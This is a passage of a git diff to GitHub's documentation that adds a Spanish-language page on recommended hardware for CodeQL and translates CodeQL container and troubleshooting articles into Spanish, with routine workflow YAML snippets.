 {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see {% ifversion ghes %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#self-hosted-runners)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners){% else %}"[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on){% endif %}."
 
 {% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %}
 
+For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis{% ifversion not ghes %} on self-hosted machines{% endif %}, see  "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
+
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ## Specifying the location for {% data variables.product.prodname_codeql %} databases
 
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
index 4f9478f221..622a6eb37f 100644
--- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
@@ -22,6 +22,7 @@ children:
   - /tracking-code-scanning-alerts-in-issues-using-task-lists
   - /configuring-code-scanning
   - /about-code-scanning-with-codeql
+  - /recommended-hardware-resources-for-running-codeql
   - /configuring-the-codeql-workflow-for-compiled-languages
   - /troubleshooting-the-codeql-workflow
   - /running-codeql-code-scanning-in-a-container
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
new file mode 100644
index 0000000000..9c3d35dfb9
--- /dev/null
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
@@ -0,0 +1,32 @@
+---
+title: Recommended hardware resources for running CodeQL
+shortTitle: Hardware resources for CodeQL
+intro: 'Recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis on self-hosted machines, based on the size of your codebase.'
+product: '{% data reusables.gated-features.code-scanning %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Integration
+  - CI
+---
+
+You can set up {% data variables.product.prodname_codeql %} on {% data variables.product.prodname_actions %} or on an external CI system. {% data variables.product.prodname_codeql %} is fully compatible with {% data variables.product.prodname_dotcom %}-hosted runners on {% data variables.product.prodname_actions %}.
+
+If you're using an external CI system, or self-hosted runners on {% data variables.product.prodname_actions %} for private repositories, you're responsible for configuring your own hardware. The optimal hardware configuration for running {% data variables.product.prodname_codeql %} may vary based on the size and complexity of your codebase, the programming languages and build systems being used, and your CI workflow setup.
+
+The table below provides recommended hardware specifications for running {% data variables.product.prodname_codeql %} analysis, based on the size of your codebase. Use these as a starting point for determining your choice of hardware or virtual machine. A machine with greater resources may improve analysis performance, but may also be more expensive to maintain.
+
+| Codebase size                       | Ram             | CPU          |
+| ----------------------------------- | --------------- | ------------ |
+| Small (<100 K lines of code)        | 8 GB or higher  | 2 cores      |
+| Medium (100 K to 1 M lines of code) | 16 GB or higher | 4 or 8 cores |
+| Large (>1 M lines of code)          | 64 GB or higher | 8 cores      |
+
+For all codebase sizes, we recommend using an SSD with 14 GB or more of disk space. There must be enough disk space to check out and build your code, plus additional space for data produced by {% data variables.product.prodname_codeql %}.
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
index a5315a96bc..3f26780980 100644
--- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
@@ -1,7 +1,7 @@
 ---
-title: Running CodeQL code scanning in a container
-shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
-intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
+title: Ejecutarel escaneo de código de CodeQL en un contenedor
+shortTitle: '{% data variables.product.prodname_code_scanning_capc %} en un contenedor'
+intro: 'Puedes ejecutar el {% data variables.product.prodname_code_scanning %} en un contenedor si garantizas que todos los procesos se ejecutan en el mismo contenedor.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
@@ -22,32 +22,33 @@ topics:
   - Containers
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-## About {% data variables.product.prodname_code_scanning %} with a containerized build
+## Acerca del {% data variables.product.prodname_code_scanning %} con una compilación en contenedor
 
-If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
+Si estás configurando el {% data variables.product.prodname_code_scanning %} para un lenguaje compilado, y estás compilando el código en un ambiente contenido, el análisis podría fallar con el mensaje de error "No source code was seen during the build". Esto indica que {% data variables.product.prodname_codeql %} no fue capaz de monitorear tu código mientras se compilaba.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}, the {% data variables.product.prodname_codeql_runner %}, or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+Debes ejecutar a {% data variables.product.prodname_codeql %} dentro del mismo contenedor en el que compilaste tu código. Esto aplica tanto si estás utilizando el {% data variables.product.prodname_codeql_cli %}, el {% data variables.product.prodname_codeql_runner %} o las {% data variables.product.prodname_actions %}. Para obtener más información sobre el {% data variables.product.prodname_codeql_cli %} o el {% data variables.product.prodname_codeql_runner %}, consulta la sección "[Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" o la sección "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". Si estás utilizando {% data variables.product.prodname_actions %}, configura tu flujo de trabajo para ejecutar todas las acciones en el mismo contenedor. Para obtener más información, consulta la sección "[Ejemplo de flujo de trabajo](#example-workflow)".
 {% else %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_runner %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_runner %}, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+Debes ejecutar a {% data variables.product.prodname_codeql %} dentro del mismo contenedor en el que compilaste tu código. Esto aplica ya sea que estés utilizando el {% data variables.product.prodname_codeql_runner %} o {% data variables.product.prodname_actions %}. Para encontrar más información sobre el {% data variables.product.prodname_codeql_runner %}, consulta la sección "[ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". Si estás utilizando {% data variables.product.prodname_actions %}, configura tu flujo de trabajo para ejecutar todas las acciones en el mismo contenedor. Para obtener más información, consulta la sección "[Ejemplo de flujo de trabajo](#example-workflow)".
 {% endif %}
 
-## Dependencies
+## Dependencias
 
-You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s virtual environments. For more information, see the version-specific `readme` files in these locations:
+Es posible que tengas alguna dificultad para ejecutar el {% data variables.product.prodname_code_scanning %} si el contenedor que estás utilizando carece de ciertas dependencias (Por ejemplo, Git debe instalarse y agregarse a la variable PATH). Si te encuentras con algún problema en las dependencias, revisa la lista de software que habitualmente se incluye en los ambientes virtuales de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta los archivos `readme` específicos de la versión en estas ubicaciones:
 
 * Linux: https://github.com/actions/virtual-environments/tree/main/images/linux
 * macOS: https://github.com/actions/virtual-environments/tree/main/images/macos
 * Windows: https://github.com/actions/virtual-environments/tree/main/images/win
 
-## Example workflow
+## Ejemplo de flujo de trabajo
 
-This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)."
+Este flujo de trabajo de muestra utiliza {% data variables.product.prodname_actions %} para ejecutar un análisis de {% data variables.product.prodname_codeql %} en un ambiente contenido. El valor de `container.image` identifica el contenedor que se debe utilizar. En este ejemplo, se le llama a la imagen `codeql-container`, con una etiqueta de `f0f91db`. Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)".
 
 ``` yaml
 name: "{% data variables.product.prodname_codeql %}"
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
index bf886eac2f..4c43c16a7a 100644
--- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -1,7 +1,7 @@
 ---
-title: Troubleshooting the CodeQL workflow
-shortTitle: Troubleshoot CodeQL workflow
-intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.'
+title: Solucionar problemas en el flujo de trabajo de CodeQL
+shortTitle: Solucionar problemas del flujo de trabajo de CodeQL
+intro: 'Si tienes problemas con el {% data variables.product.prodname_code_scanning %}, puedes solucionarlos si utilizas estos tips para resolver estos asuntos.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning
@@ -26,20 +26,21 @@ topics:
   - C#
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.not-available %}
 
-## Producing detailed logs for debugging
+## Producir bitácoras detalladas para la depuración
 
-To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
+Para producir una salida más detallada de bitácoras, puedes habilitar el registro de depuración de pasos. Para obtener más información, consulta la sección "[Habilitar el registro de depuración](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5601 %}
 
-## Creating {% data variables.product.prodname_codeql %} debugging artifacts
+## Crear artefactos de depuración de {% data variables.product.prodname_codeql %}
 
-You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %} by setting a debug configuration flag. Modify the `init` step of your {% data variables.product.prodname_codeql %} workflow file and set `debug: true`.
+Puedes obtener artefactos para que te ayuden a depurar {% data variables.product.prodname_codeql %} si seleccionas un marcador de configuración de depuración. Modifica el paso de `init` de tu archivo de flujo de trabajo de {% data variables.product.prodname_codeql %} y configura `debug: true`.
 
 ```
 - name: Initialize CodeQL
@@ -47,21 +48,21 @@ You can obtain artifacts to help you debug {% data variables.product.prodname_co
   with:
     debug: true
 ```
-The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow. 
+Los artefactos de depuración se cargarán a la ejecución de flujo de trabajo como un artefacto de nombre `debug-artifacts`. Los datos contienen las bitácoras de {% data variables.product.prodname_codeql %}. la(s) base(s) de datos de {% data variables.product.prodname_codeql %} y cualquier archivo SARIF que produzca el flujo de trabajo.
 
-These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} code scanning. If you contact GitHub support, they might ask for this data.
+Estos artefactos te ayudarán a depurar los problemas con el escaneo de código de {% data variables.product.prodname_codeql %}. Si contactas al soporte de GitHub, podrían pedirte estos datos.
 
 {% endif %}
 
-## Automatic build for a compiled language fails
+## Compilación automática para los fallos de un lenguaje compilado
 
-If an automatic build of code for a compiled language within your project fails, try the following troubleshooting steps.
+Si una compilación automática de código para un lenguaje compilado dentro de tu proyecto falla, intenta los siguientes pasos de solución de problemas.
 
-- Remove the `autobuild` step from your {% data variables.product.prodname_code_scanning %} workflow and add specific build steps. For information about editing the workflow, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." For more information about replacing the `autobuild` step, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+- Elimina el paso de `autobuild` de tu flujo de trabajo de {% data variables.product.prodname_code_scanning %} y agrega los pasos de compilación específicos. Para obtener información sobre cómo editar el flujo de trabajo, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)". Para obtener más información sobre cómo reemplazar el paso de `autobuild`, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 
-- If your workflow doesn't explicitly specify the languages to analyze, {% data variables.product.prodname_codeql %} implicitly detects the supported languages in your code base. In this configuration, out of the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} only analyzes the language with the most source files. Edit the workflow and add a build matrix specifying the languages you want to analyze. The default CodeQL analysis workflow uses such a matrix.
+- Si tu flujo de trabajo no especifica explícitamente los lenguajes a analizar, {% data variables.product.prodname_codeql %} detectará implícitamente los lenguajes compatibles en tu código base. En esta configuración, fuera de los lenguajes compilados C/C++, C#, y Java, {% data variables.product.prodname_codeql %} solo analizará el lenguaje presente en la mayoría de los archivos de origen. Edita el flujo de trabajo y agrega una matriz de compilación que especifique los lenguajes que quieres analizar. El flujo de análisis predeterminado de CodeQL utiliza dicha matriz.
 
-  The following extracts from a workflow show how you can use a matrix within the job strategy to specify languages, and then reference each language within the "Initialize {% data variables.product.prodname_codeql %}" step:
+  Los siguientes extractos de un flujo de trabajo te muestran cómo puedes utilizar una matriz dentro de la estrategia del job para especificar lenguajes, y luego hace referencia a cada uno de ellos con el paso de "Inicializar {% data variables.product.prodname_codeql %}":
 
   ```yaml
   jobs:
@@ -83,13 +84,13 @@ If an automatic build of code for a compiled language within your project fails,
             languages: {% raw %}${{ matrix.language }}{% endraw %}
   ```
 
-  For more information about editing the workflow, see "[Configuring code scanning](/code-security/secure-coding/configuring-code-scanning)."
+  Para obtener más información acerca de editar el flujo de trabajo, consulta la sección "[Configurar el escaneo de código](/code-security/secure-coding/configuring-code-scanning)".
 
-## No code found during the build
+## No se encontró código durante la compilación
 
-If your workflow fails with an error `No source code was seen during the build` or `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure:
+Si tu flujo de trabajo falla con un error de `No source code was seen during the build` o de `The process '/opt/hostedtoolcache/CodeQL/0.0.0-20200630/x64/codeql/codeql' failed with exit code 32`, esto indica que {% data variables.product.prodname_codeql %} no pudo monitorear tu código. Hay muchas razones que podrían explicar esta falla:
 
-1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by updating the list of languages in the `language` matrix. For example, the following configuration will analyze only Go, and JavaScript.
+1. La detección automática del lenguaje identificó un lenguaje compatible, pero no hay código analizable en dicho lenguaje dentro del repositorio. Un ejemplo típico es cuando nuestro servicio de detección de lenguaje encuentra un archivo que se asocia con un lenguaje de programación específico como un archivo `.h`, o `.gyp`, pero no existe el código ejecutable correspondiente a dicho lenguaje en el repositorio. Para resolver el problema, puedes definir manualmente los lenguajes que quieras analizar si actualizas la lista de éstos en la matriz de `language`. Por ejemplo, la siguiente configuración analizará únicamente a Go y a Javascript.
 
   ```yaml
   strategy:
@@ -100,121 +101,119 @@ If your workflow fails with an error `No source code was seen during the build`
       language: ['go', 'javascript']
   ```
 
-   For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above.
-1. Your {% data variables.product.prodname_code_scanning %} workflow is analyzing a compiled language (C, C++, C#, or Java), but the code was not compiled. By default, the {% data variables.product.prodname_codeql %} analysis workflow contains an `autobuild` step, however, this step represents a best effort process, and may not succeed in building your code, depending on your specific build environment. Compilation may also fail if you have removed the `autobuild` step and did not include build steps manually.  For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but portions of your build are cached to improve performance (most likely to occur with build systems like Gradle or Bazel). Since {% data variables.product.prodname_codeql %} observes the activity of the compiler to understand the data flows in a repository, {% data variables.product.prodname_codeql %} requires a complete build to take place in order to perform analysis. 
-1. Your workflow is analyzing a compiled language (C, C++, C#, or Java), but compilation does not occur between the `init` and `analyze` steps in the workflow. {% data variables.product.prodname_codeql %} requires that your build happens in between these two steps in order to observe the activity of the compiler and perform analysis. 
-1. Your compiled code (in C, C++, C#, or Java) was compiled successfully, but {% data variables.product.prodname_codeql %} was unable to detect the compiler invocations. The most common causes are:
+   Para obtener más información, consulta el extracto de flujo de trabajo en la sección "[Compilación automática para los fallos de un lenguaje compilado](#automatic-build-for-a-compiled-language-fails)" que se trata anteriormente.
+1. Tu flujo de trabajo de {% data variables.product.prodname_code_scanning %} está analizando un lenguaje compilado (C, C++, C#, o Java), pero el código no se compiló. Predeterminadamente, el flujo de trabajo de análisis de {% data variables.product.prodname_codeql %} contiene un paso de `autobuild`, sin embargo, este paso representa un proceso de mejor esfuerzo y podría no tener éxito en compilar tu código, dependiendo de tu ambiente de compilación específico. También podría fallar la compilación si eliminaste el paso de `autobuild` y no incluiste manualmente los pasos de compilación.  Para obtener más información acerca de especificar los pasos de compilación, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
+1. Tu flujo de trabajo está analizando un lenguaje compilado (C, C++, C#, or Java), pero algunas porciones de tu compilación se almacenan en caché para mejorar el rendimiento (esto muy probablemente ocurra con los sistemas de compilación como Gradle o Bazel). Ya que {% data variables.product.prodname_codeql %} observa la actividad del compilador para entender los flujos de datos en un repositorio, {% data variables.product.prodname_codeql %} requiere que suceda una compilación completa para poder llevar a cabo este análisis.
+1. Tu flujo de trabajo está analizando un lenguaje compilado (C, C++, C#, or Java), pero no ocurre ninguna compilación entre los pasos de `init` y `analyze` en el flujo de trabajo. {% data variables.product.prodname_codeql %} requiere que tu compilación tome lugar entre estos dos pasos para poder observar la actividad del compilador y llevar a cabo el análisis.
+1. Tu código compilado (en C, C++, C#, or Java) se compiló con éxito, pero {% data variables.product.prodname_codeql %} no pudo detectar las invocaciones del compilador. Las causas más comunes son:
 
-   * Running your build process in a separate container to {% data variables.product.prodname_codeql %}. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
-   * Building using a distributed build system external to GitHub Actions, using a daemon process.
-   * {% data variables.product.prodname_codeql %} isn't aware of the specific compiler you are using.
+   * Ejecutar tu proceso de compilación en un contenedor separado a {% data variables.product.prodname_codeql %}. Para obtener más información, consulta la sección "[Ejecutar el escaneo de código de CodeQL en un contenedor](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)".
+   * Compilar utilizando un sistema de compilación distribuida externo a GitHub Actions, utilizando un proceso de daemon.
+   * {% data variables.product.prodname_codeql %} no está consciente del compilador específico que estás utilizando.
 
-  For .NET Framework projects, and for C# projects using either `dotnet build` or `msbuild` that target .NET Core 2, you should specify `/p:UseSharedCompilation=false` in your workflow's `run` step, when you build your code. The `UseSharedCompilation` flag isn't necessary for .NET Core 3.0 and later.
-  
-  For example, the following configuration for C# will pass the flag during the first build step.
+  En el caso de los proyectos de .NET Framework y C# que utilicen ya sea `dotnet build` o `msbuild`, deberás especificar `/p:UseSharedCompilation=false` en el paso de `run` de tu flujo de trabajo cuando compiles tu código.
+
+  Por ejemplo, la siguiente configuración para C# pasará el marcador durante el primer paso de compilación.
 
    ``` yaml
    - run: |
-       dotnet build /p:UseSharedCompilation=false 
+       dotnet build /p:UseSharedCompilation=false
    ```
 
-  If you encounter another problem with your specific compiler or configuration, contact {% data variables.contact.contact_support %}.
+  Si encuentras otro problema con tu compilador específico o con tu configuración, contacta a {% data variables.contact.contact_support %}.
 
-For more information about specifying build steps, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+Para obtener más información acerca de especificar los pasos de compilación, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 
 {% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-## Lines of code scanned are lower than expected
+## Las líneas de código escaneado son menores de lo esperado
 
-For compiled languages like C/C++, C#, Go, and Java, {% data variables.product.prodname_codeql %} only scans files that are built during the analysis. Therefore the number of lines of code scanned will be lower than expected if some of the source code isn't compiled correctly. This can happen for several reasons:
+Para los lenguajes compilados como C/C++, C#, Go y Java, {% data variables.product.prodname_codeql %} solo escanea los archivos que se compilen durante el análisis. Por lo tanto, la cantidad de líneas de código escaneado será menor de lo esperado si parte del código fuente no se compila correctamente. Esto puede suceder por varias razones:
 
-1. The {% data variables.product.prodname_codeql %} `autobuild` feature uses heuristics to build the code in a repository. However, sometimes this approach results in an incomplete analysis of a repository. For example, when multiple `build.sh` commands exist in a single repository, the analysis may not be complete since the `autobuild` step will only execute one of the commands, and therefore some source files may not be compiled.
-1. Some compilers do not work with {% data variables.product.prodname_codeql %} and can cause issues while analyzing the code. For example, Project Lombok uses non-public compiler APIs to modify compiler behavior. The assumptions used in these compiler modifications are not valid for {% data variables.product.prodname_codeql %}'s Java extractor, so the code cannot be analyzed.
+1. La característica de `autobuild` del {% data variables.product.prodname_codeql %} utiliza la heurística para compilar el código de un repositorio. Sin embargo, algunas veces, este enfoque da como resultado un análisis incompleto del repositorio. Por ejemplo, cuando existen comandos múltiples de `build.sh` en un solo repositorio, el análisis podría no completarse, ya que el paso de `autobuild` solo se ejecutará en uno de los comandos y, por lo tanto, algunos archivos origen no se compilarán.
+1. Algunos compiladores no funcionan con {% data variables.product.prodname_codeql %} y pueden causar problemas cuando analizan el código. Por ejemplo, Project Lombok utiliza unas API de compilación no públicas para modificar el comportamiento del compilador. Las asunciones que se utilizan en las modificaciones de este compilador no son válidas para el extractor de Java de {% data variables.product.prodname_codeql %}, así que el código no se puede analizar.
 
-If your {% data variables.product.prodname_codeql %} analysis scans fewer lines of code than expected, there are several approaches you can try to make sure all the necessary source files are compiled.
+Si tu análisis de {% data variables.product.prodname_codeql %} escanea menos líneas de código de lo esperado, hay varios enfoques que puedes intentar para asegurarte de que todos los archivos de código fuente necesarios se compilen.
 
-### Replace the `autobuild` step 
+### Reemplaza el paso `autobuild`
 
-Replace the `autobuild` step with the same build commands you would use in production. This makes sure that {% data variables.product.prodname_codeql %} knows exactly how to compile all of the source files you want to scan.
-For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)." 
+Reemplaza el paso `autobuild` con los mismos comandos de compilación que utilizarías en producción. Esto garantiza que {% data variables.product.prodname_codeql %} sepa exactamente cómo compilar todos los archivos de código fuente que quieras escanear. Para obtener más información, consulta la sección "[Configurar el flujo de trabajo de {% data variables.product.prodname_codeql %} para los lenguajes compilados](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)".
 
-### Inspect the copy of the source files in the {% data variables.product.prodname_codeql %} database
-You may be able to understand why some source files haven't been analyzed by inspecting the copy of the source code included with the {% data variables.product.prodname_codeql %} database. To obtain the database from your Actions workflow, add an `upload-artifact` action after the analysis step in your code scanning workflow:
+### Inspecciona la copia de los archivos de código fuente en la base de datos de {% data variables.product.prodname_codeql %}
+Podrías entender por qué algunos archivos de código fuente no se ha analizado si inspeccionas la copia del código fuente que se incluye utilizando la base de datos de {% data variables.product.prodname_codeql %}. Para obtener la base de datos del flujo de trabajo de tus acciones, agrega una acción de `upload-artifact` después del paso de análisis en tu flujo de trabajo de escaneo de código:
 ```
 - uses: actions/upload-artifact@v2
   with:
     name: codeql-database
     path: ../codeql-database
 ```
-This uploads the database as an actions artifact that you can download to your local machine. For more information, see "[Storing workflow artifacts](/actions/guides/storing-workflow-data-as-artifacts)."
+Esto carga la base de datos como un artefacto de acciones que puedes descargar en tu máquina local. Para obtener más información, consulta la sección "[Almacenar artefactos de los flujos de trabajo ](/actions/guides/storing-workflow-data-as-artifacts)".
 
-The artifact will contain an archived copy of the source files scanned by {% data variables.product.prodname_codeql %} called _src.zip_. If you compare the source code files in the repository and the files in _src.zip_, you can see which types of file are missing. Once you know what types of file are not being analyzed, it is easier to understand how you may need to change the workflow for {% data variables.product.prodname_codeql %} analysis.
+El artefacto contendrá una copia archivada de los archivos de código fuente que escaneó el {% data variables.product.prodname_codeql %} llamada _src.zip_. Si comparas los archivos de código fuente en el repositorio con los archivos en _src.zip_, puedes ver qué tipos de archivo faltan. Una vez que sepas qué tipos de archivo son los que no se analizan es más fácil entender cómo podrías cambiar el flujo de trabajo para el análisis de {% data variables.product.prodname_codeql %}.
 
-## Extraction errors in the database
+## Extracción de errores en la base de datos
 
-The {% data variables.product.prodname_codeql %} team constantly works on critical extraction errors to make sure that all source files can be scanned. However, the {% data variables.product.prodname_codeql %} extractors do occasionally generate errors during database creation. {% data variables.product.prodname_codeql %} provides information about extraction errors and warnings generated during database creation in a log file. 
-The extraction diagnostics information gives an indication of overall database health. Most extractor errors do not significantly impact the analysis. A small number of extractor errors is healthy and typically indicates a good state of analysis.
+El equipo de {% data variables.product.prodname_codeql %} trabaja constantemente en los errores de extracción críticos para asegurarse de que todos los archivos de código fuente pueden escanearse. Sin embargo, los extractores de {% data variables.product.prodname_codeql %} sí generan errores durante la creación de bases de datos ocasionalmente. {% data variables.product.prodname_codeql %} proporciona información acerca de los errores de extracción y las advertencias que se generan durante la creación de bases de datos en un archivo de bitácora. La información de diagnóstico de extracción proporciona una indicación de la salud general de la base de datos. La mayoría de los errores del extractor no impactan el análisis significativamente. Una pequeña parte de los errores del extractor es saludable y, a menudo, indica un buen estado del análisis.
 
-However, if you see extractor errors in the overwhelming majority of files that were compiled during database creation, you should look into the errors in more detail to try to understand why some source files weren't extracted properly.
